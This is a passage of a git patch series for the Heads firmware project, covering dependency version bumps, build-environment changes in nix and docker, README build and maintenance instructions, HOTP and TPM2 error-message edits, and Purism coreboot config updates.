b/patches/libassuan-2.5.5.patch similarity index 100% rename from patches/libassuan-2.5.6.patch rename to patches/libassuan-2.5.5.patch diff --git a/patches/libassuan-2.5.1.patch b/patches/libgcrypt-1.8.3.patch similarity index 89% rename from patches/libassuan-2.5.1.patch rename to patches/libgcrypt-1.8.3.patch index ff27dbd27..902d96ec2 100644 --- a/patches/libassuan-2.5.1.patch +++ b/patches/libgcrypt-1.8.3.patch @@ -1,7 +1,7 @@ -diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure ---- libassuan-2.5.1-clean/configure 2017-12-07 06:55:50.000000000 -0800 -+++ libassuan-2.5.1/configure 2020-01-12 13:39:50.655638965 -0800 -@@ -10781,7 +10781,7 @@ +diff -u -r libgcrypt-1.8.3-clean/configure libgcrypt-1.8.3/configure +--- libgcrypt-1.8.3-clean/configure 2018-06-13 00:39:33.000000000 -0700 ++++ libgcrypt-1.8.3/configure 2020-01-12 13:32:34.840010800 -0800 +@@ -11292,7 +11292,7 @@ version_type=linux # correct to gnu/linux during the next big refactor need_lib_prefix=no need_version=no @@ -10,7 +10,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure if test "$host_cpu" = ia64; then # AIX 5 supports IA64 library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' -@@ -11020,16 +11020,16 @@ +@@ -11531,16 +11531,16 @@ ;; freebsd3.[01]* | freebsdelf3.[01]*) shlibpath_overrides_runpath=yes @@ -30,7 +30,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure ;; esac ;; -@@ -11042,7 +11042,7 @@ +@@ -11553,7 +11553,7 @@ soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no @@ -39,7 +39,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure ;; haiku*) -@@ -11055,7 +11055,7 @@ +@@ -11566,7 +11566,7 @@ shlibpath_var=LIBRARY_PATH shlibpath_overrides_runpath=yes sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib' @@ -48,7 +48,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure ;; hpux9* | hpux10* | hpux11*) -@@ -11067,7 +11067,7 @@ +@@ -11578,7 +11578,7 @@ case $host_cpu in ia64*) shrext_cmds='.so' @@ -57,7 +57,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure dynamic_linker="$host_os dld.so" shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. -@@ -11082,7 +11082,7 @@ +@@ -11593,7 +11593,7 @@ ;; hppa*64*) shrext_cmds='.sl' @@ -66,7 +66,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure dynamic_linker="$host_os dld.sl" shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. -@@ -11115,7 +11115,7 @@ +@@ -11626,7 +11626,7 @@ dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no @@ -75,7 +75,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure ;; irix5* | irix6* | nonstopux*) -@@ -11152,7 +11152,7 @@ +@@ -11663,7 +11663,7 @@ shlibpath_overrides_runpath=no sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" @@ -84,7 +84,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure ;; # No shared lib support for Linux oldld, aout, or coff. -@@ -11173,7 +11173,7 @@ +@@ -11684,7 +11684,7 @@ # This implies no fast_install, which is unacceptable. # Some rework will be needed to allow for fast_install # before this can be enabled. @@ -93,7 +93,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure dynamic_linker='Android linker' # Don't embed -rpath directories since the linker doesn't support them. -@@ -11228,7 +11228,7 @@ +@@ -11739,7 +11739,7 @@ # This implies no fast_install, which is unacceptable. # Some rework will be needed to allow for fast_install # before this can be enabled. @@ -102,7 +102,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure # Append ld.so.conf contents to the search path if test -f /etc/ld.so.conf; then -@@ -11253,7 +11253,7 @@ +@@ -11764,7 +11764,7 @@ soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no @@ -111,7 +111,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure dynamic_linker='NetBSD ld.elf_so' ;; -@@ -11272,7 +11272,7 @@ +@@ -11783,7 +11783,7 @@ fi shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes @@ -120,7 +120,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure ;; newsos6) -@@ -11290,7 +11290,7 @@ +@@ -11801,7 +11801,7 @@ soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no @@ -129,7 +129,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure dynamic_linker='ldqnx.so' ;; -@@ -11352,7 +11352,7 @@ +@@ -11863,7 +11863,7 @@ soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes @@ -138,7 +138,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure # ldd complains unless libraries are executable postinstall_cmds='chmod +x $lib' ;; -@@ -11409,7 +11409,7 @@ +@@ -11920,7 +11920,7 @@ soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes @@ -147,7 +147,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure if test "$with_gnu_ld" = yes; then sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib' else -@@ -11431,7 +11431,7 @@ +@@ -11942,7 +11942,7 @@ library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no @@ -156,7 +156,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure ;; uts4*) -@@ -15680,7 +15680,7 @@ +@@ -19824,7 +19824,7 @@ postuninstall_cmds='`$ECHO "$postuninstall_cmds" | $SED "$delay_single_quote_subst"`' finish_cmds='`$ECHO "$finish_cmds" | $SED "$delay_single_quote_subst"`' finish_eval='`$ECHO "$finish_eval" | $SED "$delay_single_quote_subst"`' @@ -165,7 +165,7 @@ diff -u -r libassuan-2.5.1-clean/configure libassuan-2.5.1/configure sys_lib_search_path_spec='`$ECHO "$sys_lib_search_path_spec" | $SED "$delay_single_quote_subst"`' sys_lib_dlsearch_path_spec='`$ECHO "$sys_lib_dlsearch_path_spec" | $SED "$delay_single_quote_subst"`' hardcode_action='`$ECHO "$hardcode_action" | $SED "$delay_single_quote_subst"`' -@@ -16896,7 +16896,7 @@ +@@ -21088,7 +21088,7 @@ finish_eval=$lt_finish_eval # Whether we should hardcode library paths into libraries. diff --git a/patches/libgpg-error-1.47.patch b/patches/libgpg-error-1.46.patch similarity index 100% rename from patches/libgpg-error-1.47.patch rename to patches/libgpg-error-1.46.patch diff --git a/patches/libksba-1.6.4.patch b/patches/libksba-1.6.3.patch similarity index 100% rename from patches/libksba-1.6.4.patch rename to patches/libksba-1.6.3.patch From 74b1e2f7c1228c55a3fd37728196e00fd84eb2c0 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 17 May 2024 12:41:52 -0400 Subject: [PATCH 141/619] modules/openssl: remove hack: silences error on console when openssl is included for builds (affects tpm2 boards builds) Signed-off-by: Thierry Laurion --- modules/openssl | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/openssl b/modules/openssl index 47072442b..8bca5eaf7 100644 --- a/modules/openssl +++ b/modules/openssl @@ -7,9 +7,6 @@ openssl_tar := openssl-$(openssl_version).tar.gz openssl_url := https://www.openssl.org/source/$(openssl_tar) openssl_hash := 6c13d2bf38fdf31eac3ce2a347073673f5d63263398f1f69d0df4a41253e4b3e -# hack to provide path to libgcc -LIBGCC_DIR := $(dir $(shell $(heads_cc) -print-libgcc-file-name)) - # The only optional algorithm that's enabled is SM3. tpm2-tss uses SHA, AES, # and SM3. openssl_configure := \ From 8bea5697d4462f325e2b15274e1c9dc97f1351b7 Mon Sep 17 00:00:00 2001 From: nestire Date: Tue, 21 May 2024 13:24:36 +0200 Subject: [PATCH 142/619] bump hotp version to 1.6 Signed-off-by: nestire --- modules/hotp-verification | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/hotp-verification b/modules/hotp-verification index 6085a7680..14957e74b 100644 --- a/modules/hotp-verification +++ b/modules/hotp-verification @@ -2,12 +2,12 @@ modules-$(CONFIG_HOTPKEY) += hotp-verification hotp-verification_depends := libusb $(musl_dep) -# v1.5 -hotp-verification_version := 70c04f51387eee8f777e943ba83b6405764a3cd2 +# v1.6 +hotp-verification_version := e9050e0c914e7a8ffef5d1c82a014e0e2bf79346 hotp-verification_dir := hotp-verification-$(hotp-verification_version) hotp-verification_tar := nitrokey-hotp-verification-$(hotp-verification_version).tar.gz hotp-verification_url := https://github.com/Nitrokey/nitrokey-hotp-verification/archive/$(hotp-verification_version).tar.gz -hotp-verification_hash := 5244b6b514117f955a03be2363fd51567a125cb8dc904d1bd89351be27eb8bb3 +hotp-verification_hash := 480c978d3585eee73b9aa5186b471d4caeeeeba411217e1544eef7cfd90312ac hotp-verification_target := \ $(MAKE_JOBS) \ From ea05b1ed4528f754abe14fcf11118426909ae82f Mon Sep 17 00:00:00 2001 From: nestire Date: Tue, 21 May 2024 13:34:00 +0200 Subject: [PATCH 143/619] extent hotp error message for nitrokeys Signed-off-by: nestire --- initrd/bin/seal-hotpkey | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/initrd/bin/seal-hotpkey b/initrd/bin/seal-hotpkey index a0cb1ddad..c6d68efb1 100755 --- a/initrd/bin/seal-hotpkey +++ b/initrd/bin/seal-hotpkey @@ -138,12 +138,16 @@ if [ "$admin_pin_status" -ne 0 ]; then if ! hotp_initialize "$admin_pin" $HOTP_SECRET $counter_value "$HOTPKEY_BRANDING" ; then # don't leak key on failure shred -n 10 -z -u "$HOTP_SECRET" 2> /dev/null - fatal_error "Setting HOTP secret failed" + if [ "$HOTPKEY_BRANDING" == "Nitrokey" ]; then + fatal_error "Setting HOTP secret failed, to reset nitrokey pin use: nitropy nk3 secrets reset or the Nitrokey App 2" + else + fatal_error "Setting HOTP secret failed" + fi fi fi else # remind user to change admin password - echo -e "\nWARNING: default GPG admin PIN detected: please change this as soon as possible." + echo -e "\nWARNING: default admin PIN detected: please change this as soon as possible." fi # HOTP key no longer needed From 6ac7e5d789b3799ae216bc6d904f02c3b1ca3e99 Mon Sep 17 00:00:00 2001 From: Antoine Luciani Date: Fri, 24 May 2024 13:29:13 +0200 Subject: [PATCH 144/619] README.md updated in build instructions and in particular an error encountered because of kernel.yama.ptrace_scope during docker image build Signed-off-by: Antoine Luciani --- README.md | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index b7e9214d0..f16e82de4 100644 --- a/README.md +++ b/README.md @@ -48,13 +48,27 @@ Build docker from nix develop layer locally * `mkdir -p ~/.config/nix` * `echo 'experimental-features = nix-command flakes' >>~/.config/nix/nix.conf` + #### Build image * Build nix developer local environment with flakes locked to specified versions * `nix --print-build-logs --verbose develop --ignore-environment --command true` -* Build docker image with current develop created environment (this will take a while and create "linuxboot/heads:dev-env" local docker image: +* Build docker image with current develop created environment (this will take a while and create "linuxboot/heads:dev-env" local docker image): * `nix build .#dockerImage && docker load < result` +On some hardened OSes, you may encounter problems with ptrace. +``` + > proot error: ptrace(TRACEME): Operation not permitted +``` +The most likely reason is that your [kernel.yama.ptrace_scope](https://www.kernel.org/doc/Documentation/security/Yama.txt) variable is too high and doesn't allow docker+nix to run properly. +You'll need to set kernel.yama.ptrace_scope to 1 while you build the heads binary. + +``` +sudo sysctl kernel.yama.ptrace_scope #show you the actual value, probably 2 or 3 +sudo sysctl -w kernel.yama.ptrace_scope=1 #setup the value to let nix+docker run properly +``` +(don't forget to put back the value you had after finishing build head) + Done! Your local docker image "linuxboot/heads:dev-env" is ready to use, reproducible for the specific Heads commit used and will produce ROMs reproducible for that Heads commit ID. From c7d1495a0a1478c872ad62e3cd9c9d14d96043ff Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 23 May 2024 11:34:09 -0400 Subject: [PATCH 145/619] Use nixos-unstable channel's prebuilt qemu_full with canokey support builtin, downloaded from nix cache - flake.lock: bumps lcoekd package list to latest packages list through 'nix flake update' - flake.nix : comment out customizations of derivatives, removing canokey-qemu lib since qemu_full depends on qemu which depends on canokey-qemu by default now - flake.nux: add 'less' so that 'git log' is usable - circleci/config.yml: use docker v0.1.9 - README.md : update docker image maintainer notes to ease upstreaming of docker images and for others to play around, requiring dockerhub account For testing iterations of this, I used: docker_version="v0.1.9" && docker_hub_repo="tlaurion/heads-dev-env" && sed "s@\(image: \)\(.*\):\(v[0-9]*\.[0-9]*\.[0-9]*\)@\1\2:$docker_version@" -i .circleci/config.yml && nix --print-build-logs --verbose develop --ignore-environment --command true && nix build .#dockerImage && docker load < result && docker tag linuxboot/heads:dev-env "$docker_hub_repo:$docker_version" && docker push "$docker_hub_repo:$docker_version" Then added final commit, and pushed. Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- README.md | 36 +++++++++++++++++++++++++++++------- flake.lock | 6 +++--- flake.nix | 11 ++++++----- 4 files changed, 42 insertions(+), 19 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 089d63cfb..e6d7d16a3 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.1.8 + - image: tlaurion/heads-dev-env:v0.1.9 resource_class: large working_directory: ~/heads steps: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.1.8 + - image: tlaurion/heads-dev-env:v0.1.9 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.1.8 + - image: tlaurion/heads-dev-env:v0.1.9 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.1.8 + - image: tlaurion/heads-dev-env:v0.1.9 resource_class: large working_directory: ~/heads steps: diff --git a/README.md b/README.md index b7e9214d0..a42126816 100644 --- a/README.md +++ b/README.md @@ -94,15 +94,37 @@ docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd Maintenance notes on docker image === -Redo the steps above in case the flake.nix or nix.lock changes. Then publish on docker hub: +Redo the steps above in case the flake.nix or nix.lock changes. Commit changes. Then publish on docker hub: ``` -docker tag linuxboot/heads:dev-env tlaurion/heads-dev-env:vx.y.z -docker push tlaurion/heads-dev-env:vx.y.z -#test against CircleCI in PR. Merge. -#make last version the latest -docker tag tlaurion/heads-dev-env:vx.y.z tlaurion/heads-dev-env:latest -docker push tlaurion/heads-dev-env:latest +#put relevant things in variables: +docker_version="vx.y.z" && docker_hub_repo="tlaurion/heads-dev-env" +#update pinned packages to latest available ones if needed, modify flake.nix derivatives if needed: +nix flakes update +#modify CircleCI image to use newly pushed docker image +sed "s@\(image: \)\(.*\):\(v[0-9]*\.[0-9]*\.[0-9]*\)@\1\2:$docker_version@" -i .circleci/config.yml +# commit changes +git commit --signoff -m "Bump nix develop based docker image to $docker_hub_repo:$docker_version" +#use commited flake.nix and flake.lock in nix develop +nix --print-build-logs --verbose develop --ignore-environment --command true +#build new docker image from nix develop environement +nix build .#dockerImage && docker load < result +#tag produced docker image with new version +docker tag linuxboot/heads:dev-env "$docker_hub_repo:$docker_version" +#push newly created docker image to docker hub +docker push "$docker_hub_repo:$docker_version" +#test with CircleCI in PR. Merge. +git push ... +#make last tested docker image version the latest +docker tag "$docker_hub_repo:$docker_version" "$docker_hub_repo:latest" +docker push "$docker_hub_repo:latest" +``` + +This can be put in reproducible oneliners to ease maintainership. + +Test image in dirty mode: +``` +docker_version="vx.y.z" && docker_hub_repo="tlaurion/heads-dev-env" && sed "s@\(image: \)\(.*\):\(v[0-9]*\.[0-9]*\.[0-9]*\)@\1\2:$docker_version@" -i .circleci/config.yml && nix --print-build-logs --verbose develop --ignore-environment --command true && nix build .#dockerImage && docker load < result && docker tag linuxboot/heads:dev-env "$docker_hub_repo:$docker_version" && docker push "$docker_hub_repo:$docker_version" ``` Notes: diff --git a/flake.lock b/flake.lock index 0b2278f08..f1f0771ca 100644 --- a/flake.lock +++ b/flake.lock @@ -20,11 +20,11 @@ }, "nixpkgs": { "locked": { - "lastModified": 1715534503, - "narHash": "sha256-5ZSVkFadZbFP1THataCaSf0JH2cAH3S29hU9rrxTEqk=", + "lastModified": 1716509168, + "narHash": "sha256-4zSIhSRRIoEBwjbPm3YiGtbd8HDWzFxJjw5DYSDy1n8=", "owner": "nixos", "repo": "nixpkgs", - "rev": "2057814051972fa1453ddfb0d98badbea9b83c06", + "rev": "bfb7a882678e518398ce9a31a881538679f6f092", "type": "github" }, "original": { diff --git a/flake.nix b/flake.nix index a9ce9b359..00c7b2745 100644 --- a/flake.nix +++ b/flake.nix @@ -70,12 +70,12 @@ zlib.dev ] ++ [ # Below are overrides to make canokey-qemu library available to qemu built derivative through a qemu override, which qemu is used for other derivatives - canokey-qemu # Canokey lib for qemu build-time compilation. - (qemu.override { - canokeySupport = true; # This override enables Canokey support in QEMU, resulting in -device canokey being available. - }) + #canokey-qemu # Canokey lib for qemu build-time compilation. + #(qemu.override { + # canokeySupport = true; # This override enables Canokey support in QEMU, resulting in -device canokey being available. + #}) # Packages for qemu support with Canokey integration from previous override - qemu_full #Heavier but contains qemu-img, kvm and everything else needed to do development cycles under docker + qemu_full #Heavier but contains qemu-img, kvm and everything else needed to do development/testing cycles under docker #qemu # To test make BOARD=qemu-coreboot-* boards and then call make BOARD=qemu-coreboot-* with inject_gpg statement, and then run statement. #qemu_kvm # kvm additional support for qemu without all the qemu-img and everything else under qemu_full ] ++ [ @@ -86,6 +86,7 @@ diffoscopeMinimal # Not sure exactly what is packed here, let's try. gnupg #to inject public key inside of qemu create rom through inject_gpg target of targets/qemu.mk TODO: remove when pflash supported by flashrom #diffoscope #should we include it? Massive:11 GB uncompressed. Wow?!?! + less # so 'git log' is usable ] ++ [ # Tools for handling binary blobs in their compressed state. (blobs/xx30/vbios_[tw]530.sh) bundler From edd4378b60f281c32ff0cf689a40fb1cbc8a0305 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 30 May 2024 17:05:29 -0400 Subject: [PATCH 146/619] flake.nix: remove commented material, add some more comments where needed Signed-off-by: Thierry Laurion --- flake.nix | 33 ++++++++++++--------------------- 1 file changed, 12 insertions(+), 21 deletions(-) diff --git a/flake.nix b/flake.nix index 00c7b2745..9ad4d9ac1 100644 --- a/flake.nix +++ b/flake.nix @@ -41,24 +41,24 @@ flex gawk git - gnat + gnat # required for libgfxinit under coreboot, hacked around for kgpe-d16 gnugrep gnumake gnused gnutar gzip - imagemagick # For bootsplash manipulation. - innoextract # ROM extraction for dGPU. + imagemagick # For bootsplash manipulation + innoextract # ROM extraction for dGPU libtool m4 ncurses5 # make menuconfig and slang - openssl #needed for talos-2 kernel build + openssl # needed for talos-2 kernel build parted patch perl pkg-config - python3 # me_cleaner, coreboot. - rsync # coreboot. + python3 # me_cleaner, coreboot + rsync # coreboot sharutils texinfo unzip @@ -69,23 +69,14 @@ zlib zlib.dev ] ++ [ - # Below are overrides to make canokey-qemu library available to qemu built derivative through a qemu override, which qemu is used for other derivatives - #canokey-qemu # Canokey lib for qemu build-time compilation. - #(qemu.override { - # canokeySupport = true; # This override enables Canokey support in QEMU, resulting in -device canokey being available. - #}) - # Packages for qemu support with Canokey integration from previous override - qemu_full #Heavier but contains qemu-img, kvm and everything else needed to do development/testing cycles under docker - #qemu # To test make BOARD=qemu-coreboot-* boards and then call make BOARD=qemu-coreboot-* with inject_gpg statement, and then run statement. - #qemu_kvm # kvm additional support for qemu without all the qemu-img and everything else under qemu_full + qemu_full #Heavier then qemu + qemu_kvm, but contains qemu-img + kvm and everything else needed to do development/testing cycles under docker ] ++ [ - # Additional tools for debugging/editing/testing. - vim # Mostly used amongst us, sorry if you'd like something else, open issue. - swtpm # QEMU requirement to emulate tpm1/tpm2. + # Additional tools for debugging/editing/testing + vim # Mostly used amongst us, sorry if you'd like something else, open issue + swtpm # QEMU requirement to emulate tpm1/tpm2 dosfstools # QEMU requirement to produce valid fs to store exported public key to be fused through inject_key on qemu (so qemu flashrom emulated SPI support). - diffoscopeMinimal # Not sure exactly what is packed here, let's try. - gnupg #to inject public key inside of qemu create rom through inject_gpg target of targets/qemu.mk TODO: remove when pflash supported by flashrom - #diffoscope #should we include it? Massive:11 GB uncompressed. Wow?!?! + diffoscopeMinimal # Not sure exactly what is packed here, let's try. Might need diffoscope if something is missing + gnupg #to inject public key inside of qemu create rom through inject_gpg target of targets/qemu.mk TODO: remove when pflash supported by flashrom + modify code less # so 'git log' is usable ] ++ [ # Tools for handling binary blobs in their compressed state. (blobs/xx30/vbios_[tw]530.sh) From c7a5fbd66fefc5853ec8e9128bf5d3304b45e85f Mon Sep 17 00:00:00 2001 From: Matthew Drobnak Date: Mon, 3 Jun 2024 16:07:08 -0600 Subject: [PATCH 147/619] 1692 Update text for TPM Primary Handle error with correct remediation steps. Signed-off-by: Matthew Drobnak --- initrd/bin/kexec-select-boot | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index 54ce4064b..7a3c536e6 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -69,8 +69,8 @@ if [ "$CONFIG_TPM2_TOOLS" = "y" ]; then } else warn "Hash of TPM2 primary key handle does not exist" - warn "Please rebuild the boot hash tree" - warn "Select Options-> Update checksums and sign all files in /boot" + warn "Please rebuild the TPM2 primary key handle by settings a default OS to boot." + warn "Select Options-> Boot Options -> Show OS Boot Menu -> -> Make default" #TODO: Simplify/Automatize TPM2 firmware upgrade process. Today: upgrade, reboot, reseal(type TPM owner pass), resign, boot default_failed="y" DEBUG "Hash of TPM2 primary key handle does not exist under $PRIMHASH_FILE" From 65ca94b1843d370f5f4a1008f2e001815b05236d Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Wed, 11 Oct 2023 09:06:06 -0400 Subject: [PATCH 148/619] modules/coreboot: Update Purism coreboot to 4.22.01-Purism-1 Update Purism coreboot to 4.22.01-Purism-1. Signed-off-by: Jonathon Hall --- config/coreboot-librem_11.config | 17 ++++++++++++++-- config/coreboot-librem_13v2.config | 17 +++++++++++++--- config/coreboot-librem_13v4.config | 17 +++++++++++++--- config/coreboot-librem_14.config | 29 +++++++++++++++++++++------ config/coreboot-librem_15v3.config | 17 +++++++++++++--- config/coreboot-librem_15v4.config | 17 +++++++++++++--- config/coreboot-librem_l1um_v2.config | 22 +++++++++++++++----- config/coreboot-librem_mini.config | 21 +++++++++++++++---- config/coreboot-librem_mini_v2.config | 21 +++++++++++++++---- modules/coreboot | 4 ++-- 10 files changed, 147 insertions(+), 35 deletions(-) diff --git a/config/coreboot-librem_11.config b/config/coreboot-librem_11.config index 357f22ca5..466c51c7f 100644 --- a/config/coreboot-librem_11.config +++ b/config/coreboot-librem_11.config @@ -20,6 +20,7 @@ CONFIG_ARCH_SUPPORTS_CLANG=y CONFIG_OPTION_BACKEND_NONE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -143,7 +144,6 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_VBT_DATA_SIZE_KB=9 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y CONFIG_USE_LEGACY_8254_TIMER=y @@ -221,6 +221,7 @@ CONFIG_SMM_RESERVED_SIZE=0x200000 CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="jsl" @@ -297,6 +298,7 @@ CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_13=y CONFIG_ME_SPEC=13 +CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y @@ -440,7 +442,10 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_POSTCAR_STAGE=y CONFIG_BOOTBLOCK_SIMPLE=y @@ -476,7 +481,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x10000000 @@ -546,6 +551,10 @@ CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y @@ -694,6 +703,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # diff --git a/config/coreboot-librem_13v2.config b/config/coreboot-librem_13v2.config index 5de06ebcb..316e8264c 100644 --- a/config/coreboot-librem_13v2.config +++ b/config/coreboot-librem_13v2.config @@ -20,6 +20,7 @@ CONFIG_ARCH_SUPPORTS_CLANG=y CONFIG_OPTION_BACKEND_NONE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -150,7 +151,6 @@ CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/descripto CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/me.bin" CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y # CONFIG_USE_LEGACY_8254_TIMER is not set @@ -230,6 +230,7 @@ CONFIG_SMM_RESERVED_SIZE=0x200000 CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 